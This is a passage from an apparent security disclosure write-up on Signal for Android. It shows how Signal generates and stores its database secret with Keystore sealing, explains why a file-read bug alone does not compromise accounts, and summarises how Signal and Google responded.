    random.nextBytes(secret);

    DatabaseSecret databaseSecret = new DatabaseSecret(secret);

    if (Build.VERSION.SDK_INT >= 23) {
        // Use hardware-backed encryption when available
        KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
        TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
    } else {
        // Fallback for older devices (less secure)
        TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
    }

    return databaseSecret;
}

These protections prevent directly leveraging the arbitrary file read into a full signal account compromise. A second vulnerability would be required like an encryption oracle with cryptographic weaknesses or Keystore bypass.

Signal Response

Signal's response to these findings—acknowledging within 3 hours and deploying fixes within days—demonstrates their commitment to user security. While improvements can be made, their defense-in-depth approach ensures that even with these vulnerabilities, user messages remain strongly protected.

The key takeaway: Security is layered, and while each layer may have weaknesses, the combination provides robust protection. Signal's architecture exemplifies this principle, even as our findings show there's always room for improvement.

Google Response

Google has reported both issues to be working as intended, below is their answer:

References